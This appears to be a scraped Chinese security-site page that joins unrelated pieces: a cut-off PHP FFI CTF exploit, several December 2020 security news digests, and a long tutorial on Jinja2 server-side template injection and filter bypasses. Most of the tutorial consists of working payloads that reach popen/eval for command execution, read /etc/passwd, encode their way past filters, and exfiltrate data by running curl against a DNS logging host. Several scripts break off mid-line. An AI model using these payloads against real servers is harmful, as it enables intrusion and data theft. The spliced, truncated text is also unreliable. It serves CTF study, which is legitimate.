我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp: import requests url = "http://pwnable.org:19261" params = {"rh": ''' try { $ffi=FFI::load("/flag.h"); //get flag //$a = $ffi->flag_wAt3_uP_apA3H1(); //for($i = 0; $i < 128; $i++){ echo $a[$i]; //} $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5 获取到函数名后直接调用函数然后把结果打印出来即可: $a = $ffi->flag_wAt3_uP_apA3H1(); for($i=0;$i<100;$i++){ echo $a[$i]; } 相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014092310094200001(通过本实验学会通过宽字节方式绕过mysql_real_escape_string()、addslashes()这两个函数。)
网络安全日报 2020年12月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现Kepware工控产品中存在严重漏洞 https://www.securityweek.com/critical-flaws-kepware-products-can-facilitate-attacks-industrial-firms 2、Lazarus针对COVID-19研究机构进行网络攻击 https://www.securityweek.com/north-korean-hackers-target-covid-19-research 3、Treck TCP / IP堆栈中的漏洞影响数百万IoT设备 https://thehackernews.com/2020/12/new-critical-flaws-in-treck-tcpip-stack.html 4、Emotet僵尸网络每天针对数十万个目标进行攻击 https://threatpost.com/emotet-returns-100k-mailboxes/162584/ 5、越南科技公司iSofH泄露了1200万患者记录 https://www.infosecurity-magazine.com/news/leaky-server-12m-medical-records/ 6、执法机构关闭三种VPN服务的网络域名和服务器 https://www.zdnet.com/article/law-enforcement-take-down-three-bulletproof-vpn-providers/ 7、SolarWinds黑客入侵美国财政部官员的电子邮件帐户 https://www.bleepingcomputer.com/news/security/solarwinds-hackers-breached-us-treasury-officials-email-accounts/ 8、NOW: Pensions公司数据泄露影响170W客户个人信息 https://www.theregister.com/2020/12/22/data_breach_now_pensions/ 9、美国罗阿诺克学院遭网络攻击推迟春季开学时间 https://www.bleepingcomputer.com/news/security/roanoke-college-delays-spring-semester-after-cyberattack/ 10、德国Funke媒体集团遭网络攻击 https://www.washingtonpost.com/world/europe/german-regional-newspaper-group-hit-by-cyberattack/2020/12/23/236810da-4516-11eb-ac2a-3ac0f2b8ceeb_story.html
网络安全日报 2020年12月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、虚拟货币交易所EXMO通知客户资金被盗 https://www.securityweek.com/crypto-exchange-exmo-says-funds-stolen-security-incident 2、研究人员公开了SolarWinds供应链攻击受害组织名单 https://securityaffairs.co/wordpress/112555/hacking/solarwinds-victims-lists.html 3、VMware和Cisco透露受到SolarWinds供应链攻击的影响 https://securityaffairs.co/wordpress/112535/security/solarwinds-vmware-cisco.html 4、IMF研究人员称可以跟踪用户的浏览历史记录以确定信用评级 https://www.hackread.com/imf-track-your-browsing-history-credit-score/ 5、Firefox 85推出Network Partitioning功能作为反跟踪保护 https://www.zdnet.com/article/firefox-to-ship-network-partitioning-as-a-new-anti-tracking-defense/ 6、英国地铁营销系统遭入侵并被向其客户发送Trickbot的钓鱼邮件 https://cyware.com/news/subway-uk-marketing-system-hacked-to-send-trickbot-laden-phishing-emails-719ccc5b 7、新的网络钓鱼活动冒充纽约劳工部窃取公民信息 https://hotforsecurity.bitdefender.com/blog/phishing-campaign-uses-new-york-department-of-labor-logo-and-pandemic-aid-info-to-steal-private-information-24946.html 8、货运物流公司Forward Air遭Hades勒索软件攻击 https://www.bleepingcomputer.com/news/security/trucking-giant-forward-air-hit-by-new-hades-ransomware-gang/ 9、研究人员发现了假冒宠物销售网站骗取用户资金 https://www.anomali.com/blog/anomali-threat-research-warns-consumers-dont-use-bitcoin-to-buy-hatched-german-shepherds-this-holiday-season 10、Kubernetes披露了一个影响所有版本的中间人攻击漏洞 https://unit42.paloaltonetworks.com/cve-2020-8554/
网络安全日报 2020年12月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、多位新闻记者的手机被 NSO 的 iMessage 0Day Exploit 攻击 https://thehackernews.com/2020/12/iphones-of-36-journalists-hacked-using.html 2、研究人员发现Dell Wyse Thin客户端两个高危漏洞 https://thehackernews.com/2020/12/two-critical-flaws-cvss-score-10-affect.html 3、NCC Group评估发现多款智能门铃存在严重漏洞 https://threatpost.com/smart-doorbell-vulnerable-to-attack/162527/ 4、新的AridViper恶意软件针对Outlook用户 https://cyware.com/news/new-aridviper-malware-targets-outlook-users-1de90a3f 5、新版本的Gitpaste-12蠕虫僵尸网络新增30多个漏洞利用程序 https://www.bleepingcomputer.com/news/security/gitpaste-12-worm-botnet-returns-with-30-plus-vulnerability-exploits 6、研究人员调查SolarWinds供应链攻击时发现了另一个后门SUPERNOVA https://securityaffairs.co/wordpress/112512/malware/supernova-backdoor-solarwinds-hack.html 7、香精香料生产商Symrise遭Clop勒索软件攻击 https://securityaffairs.co/wordpress/112494/malware/clop-ransomware-symrise.html 8、Pay2Key勒索软件针对以色列公司 https://www.securityweek.com/iranian-hackers-target-israeli-companies-pay2key-ransomware 9、Facebook漏洞暴露Instagram用户的邮件地址 https://www.hackread.com/facebook-bug-exposed-instagram-user-email-addresses/ 10、黑客论坛上泄露了27万Ledger用户的个人信息 https://www.bleepingcomputer.com/news/security/physical-addresses-of-270k-ledger-owners-leaked-on-hacker-forum/
网络安全日报 2020年12月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、黑客使用移动设备仿真器攻击银行窃取了数百万美元 https://securityaffairs.co/wordpress/112487/cyber-crime/massive-fraud-operation.html 2、SolarWinds供应链攻击曾入侵美国国家核安全局核机构 https://securityaffairs.co/wordpress/112469/hacking/nnsa-nuclear-agency-hacked.html 3、黑客针对COVID-19疫苗供应链并在Darkweb中出售疫苗 https://securityaffairs.co/wordpress/112433/hacking/covid-19-attacks-2.html 4、微软确认遭SolarWinds供应链攻击但否认其客户受到影响 https://securityaffairs.co/wordpress/112416/hacking/microsoft-breached-solarwinds-hack.html 5、CoderWare勒索软件伪装成《Cyberpunk 2077》进行传播 https://securityaffairs.co/wordpress/112412/malware/fake-cyberpunk-2077-spreads-ransomware.html 6、Bouncy Castle加密库修补了身份验证绕过漏洞 https://www.securityweek.com/authentication-bypass-vulnerability-patched-bouncy-castle-library 7、英国能源供应商People's Energy披露数据泄露 https://www.securityweek.com/uk-energy-startup-peoples-energy-discloses-data-breach 8、Joker's Stash少量服务器被FBI和国际刑警组织控制 https://www.zdnet.com/article/fbi-interpol-disrupt-jokers-stash-the-internets-largest-carding-marketplace/ 9、Pay2Key勒索软件与伊朗APT组织Fox Kitten有关 https://www.bleepingcomputer.com/news/security/iranian-nation-state-hackers-linked-to-pay2key-ransomware/ 10、Magecart组织恶意软件泄露被黑客攻击的商店列表 https://www.bleepingcomputer.com/news/security/stealthy-magecart-malware-mistakenly-leaks-list-of-hacked-stores/
网络安全日报 2020年12月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、DoppelPaymer勒索软件针对关键基础设施 https://www.securityweek.com/fbi-warns-doppelpaymer-ransomware-targeting-critical-infrastructure 2、趋势科技更新补丁修复IWSA产品中的严重漏洞 https://www.securityweek.com/trend-micro-patches-serious-flaws-product-used-companies-governments 3、GitHub将在明年禁止基于密码的Git操作身份验证 https://www.theregister.com/2020/12/17/github_bans_passwords/ 4、新证据表明SolarWinds的代码库被黑客注入了后门程序 https://thehackernews.com/2020/12/new-evidence-suggests-solarwinds.html 5、Contact Form 7 WordPress插件漏洞影响超500W个网站 https://securityaffairs.co/wordpress/112407/hacking/contact-form-7-flaw.html 6、研究人员发现了针对Instagram,Facebook等的浏览器恶意扩展 https://securityaffairs.co/wordpress/112393/malware/browser-malicious-extensions.html 7、一种利用IRS表单的网络钓鱼针对Google G Suite用户 https://www.darkreading.com/attacks-breaches/new-irs-form-fraud-campaign-targets-g-suite-users/d/d-id/1339743 8、Ryuk和Egregor勒索软件攻击利用SystemBC后门 https://threatpost.com/ryuk-egregor-ransomware-systembc-backdoor/162333/ 9、Verifone和Ingenico POS设备制造商发布漏洞补丁 https://www.inforisktoday.com/pos-device-makers-push-patches-for-vulnerabilities-a-15598 10、RubyGems仓库删除了两个恶意软件包 https://www.securityweek.com/two-malware-laced-gems-found-rubygems-repository
细说Jinja2之SSTI&bypass
前言 SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新颖的考点了,之前略微学习过,但是最近的大小比赛比如说安洵杯,祥云杯,太湖杯,南邮CTF,上海大学生安全竞赛等等比赛都频频出现,而且赛后看到师傅们各种眼花缭乱的payload,无法知晓其中的原理,促使我写了这篇文章来总结各种bypass SSTI的方法。 基础知识 本篇文章从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎 模板的基本语法 官方文档对于模板的语法介绍如下 {% ... %} for Statements {{ ... }} for Expressions to print to the template output {# ... #} for Comments not included in the template output # ... ## for Line Statements 这里我们逐条来看 {%%} 主要用来声明变量,也可以用于条件语句和循环语句。 {% set c= 'kawhi' %} {% if 81==9*9 %}kawhi{% endif %} {% for i in ['1','2','3'] %}kawhi{%endfor%} {{}} 用于将表达式打印到模板输出,比如我们一般在里面输入2-1,2*2,或者是字符串,调用对象的方法,都会渲染出结果 {{2-1}} #输出1 {{2*2}} #输出4 我们通常会用{{2*2}}简单测试页面是否存在SSTI {##} 表示未包含在模板输出中的注释 ## 有和{%%}相同的效果 这里的模板注入主要用到的是{{}}和{%%} 常见的魔术方法 __class__ 用于返回对象所属的类 Python 3.7.8 >>> ''.__class__ <class 'str'> >>> ().__class__ <class 'tuple'> >>> [].__class__ <class 'list'> __base__ 以字符串的形式返回一个类所继承的类 __bases__ 以元组的形式返回一个类所继承的类 __mro__ 返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类 Python 3.7.8 >>> class Father(): ... def __init__(self): ... pass ... >>> class GrandFather(): ... def __init__(self): ... pass ... >>> class son(Father,GrandFather): ... pass ... >>> print(son.__base__) <class '__main__.Father'> >>> print(son.__bases__) (<class '__main__.Father'>, <class '__main__. __subclasses__() 获取类的所有子类 __init__ 所有自带带类都包含init方法,常用他当跳板来调用globals __globals__ 会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用 漏洞成因与防御 存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下 ssti.py from flask import Flask,request,render_template_string app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): name = request.args.get('name') template = ''' <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, %s !</h3> </body> </html> '''% (name) return render_template_s 我们简单输入一个{{2-1}},返回了1,说明存在模板注入 而如果存在SSTI的话,我们就可以利用上面的魔术方法去构造可以读文件或者直接getshell的漏洞 如何拒绝这种漏洞呢,其实很简单只需要使用固定的模板即可,正确的代码应该如下 ssti2.py from flask import Flask,request,render_template app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): return render_template("index.html",name=request.args.get('name')) if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=True) index.html <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, {{name}} !</h3> </body> </html> 可以看到原封不动的输出了{{2-1}} 构造链思路 这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py做实验 第一步 目的:使用__class__来获取内置类所对应的类 可以通过使用str,list,tuple,dict等来获取 Python 3.7.8 >>> ''.__class__ <class 'str'> >>> "".__class__ <class 'str'> >>> [].__class__ <class 'list'> >>> ().__class__ <class 'tuple'> >>> {}.__class__ <class 'dict'> 第二步 目的:拿到object基类 用__bases__[0]拿到基类 Python 3.7.8 >>> ''.__class__.__bases__[0] <class 'object'> 用__base__拿到基类 Python 3.7.8 >>> ''.__class__.__base__ <class 'object'> 用__mro__[1]或者__mro__[-1]拿到基类 Python 3.7.8 >>> ''.__class__.__mro__[1] <class 'object'> >>> ''.__class__.__mro__[-1] <class 'object'> 第三步 用__subclasses__()拿到子类列表 Python 3.7.8 >>> ''.__class__.__bases__[0].__subclasses__() ...一大堆的子类 第四步 在子类列表中找到可以getshell的类 寻找利用类 在上述的第四步中,如何快速的寻找利用类呢 利用脚本跑索引 我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类 这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子 find.py search = 'popen' num = -1 for i in ().__class__.__bases__[0].__subclasses__(): num += 1 try: if search in i.__init__.__globals__.keys(): print(i, num) except: pass 我们运行这个脚本 λ python3 find.py <class 'os._wrap_close'> 128 可以发现object基类的第128个子类名为os._wrap_close的这个类有popen方法 先调用它的__init__方法进行初始化类 Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__ <function _wrap_close.__init__ at 0x000001FCD0B21E58> 再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值 Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__ {'__name__': 'os'...中间省略...<class 'os.PathLike'>} 然后就可以调用其中的popen来执行命令 Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() 'desktop-t6u2ptl\\think\n' 但是上面的方法仅限于在本地寻找,因为在做CTF题目的时候,我们无法在题目环境中运行这个find.py,这里用hhhm师傅的一个脚本直接去寻找子类 我们首先把所有的子类列举出来 Python 3.7.8 >>> ().__class__.__bases__[0].__subclasses__() ...一大堆的子类 然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类 find2.py import json a = """ <class 'type'>,...,<class 'subprocess.Popen'> """ num = 0 allList = [] result = "" for i in a: if i == ">": result += i allList.append(result) result = "" elif i == "\n" or i == ",": continue else: result += i for k,v in enumerate(allList): if "os._wrap_close" in v: print(str(k)+ 又或者用如下的requests脚本去跑 find3.py import requests import time import html for i in range(0,300): time.sleep(0.06) payload="{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i url='http://ip:5000?name=' r = requests.post(url+payload) if "catch_warnings" in r.text: print(r.text) print(i) break tips:后面的各种方法都是利用这种思路寻找到可以getshell类的位置 python3的方法 os._wrap_close类中的popen 在上面的例子中就是用的这个方法,payload如下 {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} __import__中的os 把上面find.py脚本中的search变量换成__import__ λ python3 find.py <class '_frozen_importlib._ModuleLock'> 75 <class '_frozen_importlib._DummyModuleLock'> 76 <class '_frozen_importlib._ModuleLockManager'> 77 <class '_frozen_importlib._installed_safely'> 78 <class '_frozen_importlib.ModuleSpec'> 79 可以看到有5个类下是包含__import__的,随便用一个即可 payload如下 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} python2的方法 因为python3和python2两个版本下有差别,这里把python2单独拿出来说 tips:python2的string类型不直接从属于属于基类,所以要用两次 __bases__[0] Python 2.7.10 >>> ''.__class__.__bases__[0] <type 'basestring'> >>> ''.__class__.__bases__[0].__bases__[0] <type 'object'> file类读写文件 本方法只能适用于python2,因为在python3中file类已经被移除了 >>> [].__class__.__bases__[0].__subclasses__()[40] <type 'file'> 可以使用dir查看file对象中的内置方法 >>> dir(().__class__.__bases__[0].__subclasses__()[40]) ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook 然后直接调用里面的方法即可,payload如下 读文件 {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}} warnings类中的linecache 本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals',猜测应该是python3中func_globals被移除了还是啥的,如果不对请师傅们指出 我们把上面的find.py脚本中的search变量赋值为linecache,去寻找含有linecache的类 λ python find.py (<class 'warnings.WarningMessage'>, 59) (<class 'warnings.catch_warnings'>, 60) 后面如法炮制,payload如下 {{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}} python2&3的方法 这里介绍python2和python3两个版本通用的方法 __builtins__代码执行 这种方法是比较常用的,因为他两种python版本都适用 首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__builtins__这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。 把上面find.py脚本search变量赋值为__builtins__,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧 再调用eval等函数和方法即可,payload如下 {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} {{().__class__.__bases__[0 又或者用如下两种方式,用模板来跑循环 {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} 读取文件payload {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} 然后这里再提一个比较少人提到的点 warnings.catch_warnings类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,也就是说如果可以找到warnings.catch_warnings类,则可以不使用globals,payload如下 {{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}} 总而言之,原理都是先找到含有__builtins__的类,然后再进一步利用 subprocess.Popen进行RCE 我们可以用find2.py寻找subprocess.Popen这个类,可以直接RCE,payload如下 {{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} 直接利用os 一开始我以为这种方法只能用于python2,因为我在本地实验的时候python3中无法找到直接含有os的类,但后来发现python3其实也是能够用的,主要是环境里面有这个那个类才行 我们把上面的find.py脚本中的search变量赋值为os,去寻找含有os的类 λ python find.py (<class 'site._Printer'>, 69) (<class 'site.Quitter'>, 74) 后面如法炮制,payload如下 {{().__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()}} 获取配置信息 我们有时候可以使用flask的内置函数比如说url_for,get_flashed_messages,甚至是内置的对象request来查询配置信息或者是构造payload config 我们通常会用{{config}}查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG'),就可以直接访问{{config['FLAG']}}或者{{config.FLAG}}获得flag request jinja2中存在对象request Python 3.7.8 >>> from flask import Flask,request,render_template_string >>> request.__class__.__mro__[1] <class 'object'> 查询一些配置信息 {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}} 构造ssti的payload {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} {{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}} url_for 查询配置信息 {{url_for.__globals__['current_app'].config}} 构造ssti的payload {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} get_flashed_messages 查询配置信息 {{get_flashed_messages.__globals__['current_app'].config}} 构造ssti的payload {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}} 绕过黑名单 CTF中一般考的就是怎么绕过SSTI,我们学会如何去构造payload之后,还要学习如何去绕过一些过滤,然后下面由于环境的不同,payload中类的位置也是就那个数字可能会和文章中不一样,需要自己动手测一下 过滤了点 过滤了. 在python中,可用以下表示法可用于访问对象的属性 {{().__class__}} {{()["__class__"]}} {{()|attr("__class__")}} {{getattr('',"__class__")}} 也就是说我们可以通过[],attr(),getattr()来绕过点 使用[]绕过 使用访问字典的方式来访问函数或者类等,下面两行是等价的 {{().__class__}} {{()['__class__']}} 以此,我们可以构造payload如下 {{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}} 使用attr()绕过 使用原生JinJa2的函数attr(),以下两行是等价的 {{().__class__}} {{()|attr('__class__')}} 以此,我们可以构造payload如下 {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} 使用getattr()绕过 这种方法有时候由于环境问题不一定可行,会报错'getattr' is undefined,所以优先使用以上两种 Python 3.7.8 >>> ().__class__ <class 'tuple'> >>> getattr((),"__class__") <class 'tuple'> 过滤引号 过滤了'和" request绕过 flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过 request.args.name request.cookies.name request.headers.name request.values.name request.form.name payload如下 GET方式,利用request.args传递参数 {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd POST方式,利用request.values传递参数 {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} post:arg1=open&arg2=/etc/passwd Cookie方式,利用request.cookies传递参数 {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} Cookie:arg1=open;arg2=/etc/passwd 剩下两种方法也差不多,这里就不赘述了 chr绕过 {{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} 这里先爆破subclasses,获取subclasses中含有chr的类索引 然后就可以用chr来绕过传参时所需要的引号,然后需要用chr来构造需要的字符 这里我写了个脚本可以快速构造想要的ascii字符 <?php $a = 'whoami'; $result = ''; for($i=0;$i<strlen($a);$i++) { $result .= 'chr('.ord($a[$i]).')%2b'; } echo substr($result,0,-3); ?> //chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105) 最后payload如下 {% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}} 过滤下划线 过滤了_ 编码绕过 使用十六进制编码绕过,_编码后为\x5f,.编码后为\x2E payload如下 {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}} 这里甚至可以全十六进制绕过,顺便把关键字也一起绕过,这里先给出个python脚本方便转换 string1="__class__" string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" def tohex(string): result = "" for i in range(len(string)): result=result+"\\x"+hex(ord(string[i]))[2:] print(result) tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f print(string2) #__class__ 随便构造个payload如下 {{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d request绕过 在上面的过滤引号已经介绍过了,这里不再赘述 过滤关键字 首先要看关键字是如何被过滤的 如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过 如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下 拼接字符绕过 这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+号或者不用 {{()['__cla'+'ss__'].__bases__[0]}} {{()['__cla''ss__'].__bases__[0]}} 随便写个payload如下 {{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}} 或者可以使用join来进行拼接 {{()|attr(["_"*2,"cla","ss","_"*2]|join)}} 看到有师傅甚至用管道符加上format方法来拼接的骚操作,也就是我们平时说的格式化字符串,其中的%s被l替换 {{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l 使用使用str原生函数 replace绕过,payload如下 {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}} decode绕过,但这种方法经过测试只能在python2下使用,payload如下 {{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}} 替代的方法 过滤init,可以用__enter__或__exit__替代 {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}} 过滤config,我们通常会用{{config}}获取当前设置,如果被过滤了可以使用以下的payload绕过 {{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context}} 过滤中括号 过滤了[和] 数字中的中括号 在python里面可以使用以下方法访问数组元素 Python 3.7.8 >>> ["a","kawhi","c"][1] 'kawhi' >>> ["a","kawhi","c"].pop(1) 'kawhi' >>> ["a","kawhi","c"].__getitem__(1) 'kawhi' 也就是说可以使用__getitem__和pop替代中括号,取列表的第n位 payload如下 {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}} 魔术方法的中括号 调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号 可用__getattribute__绕过 {{"".__getattribute__("__cla"+"ss__").__base__}} 或者可以配合request一起使用 {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ payload如下 {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami 这种同样是绕过关键字的方法之一 过滤双大括号 过滤了{{和}} 使用dns外带数据 用{%%}替代了{{}},使用判断语句进行dns外带数据 {% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %} 然后在ceye平台接收数据即可 盲注 如果上面的方法不行的话,可以考虑使用盲注的方式,这里附上p0师傅的脚本 # -*- coding: utf-8 -*- import requests url = 'http://ip:5000/?name=' def check(payload): r = requests.get(url+payload).content return 'kawhi' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0,100): for c in print标记 我们上面之所以要dnslog外带数据以及使用盲注,是因为用{%%}会没有回显,这里的话可以使用print来做一个标记使得他有回显,比如{%print config%},payload如下 {%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%} payload进阶与拓展 这里我基于上面绕过黑名单各种方法的组合,对CTF中用到的一些方法和payload再做一个小的总结,不过其实一般来说,只要不是太偏太绕的题,上面的方法自行组合一下都够用了,下面只是作为一个拓展 过滤_和.和' 这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoader的get_data()方法,第一个是参数0,第二个为要读取的文件名,payload如下 {{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}} 使用十六进制绕过后,payload如下 {{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}} 过滤args和.和_ 之前安恒二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()绕过点,values绕过args,payload如下 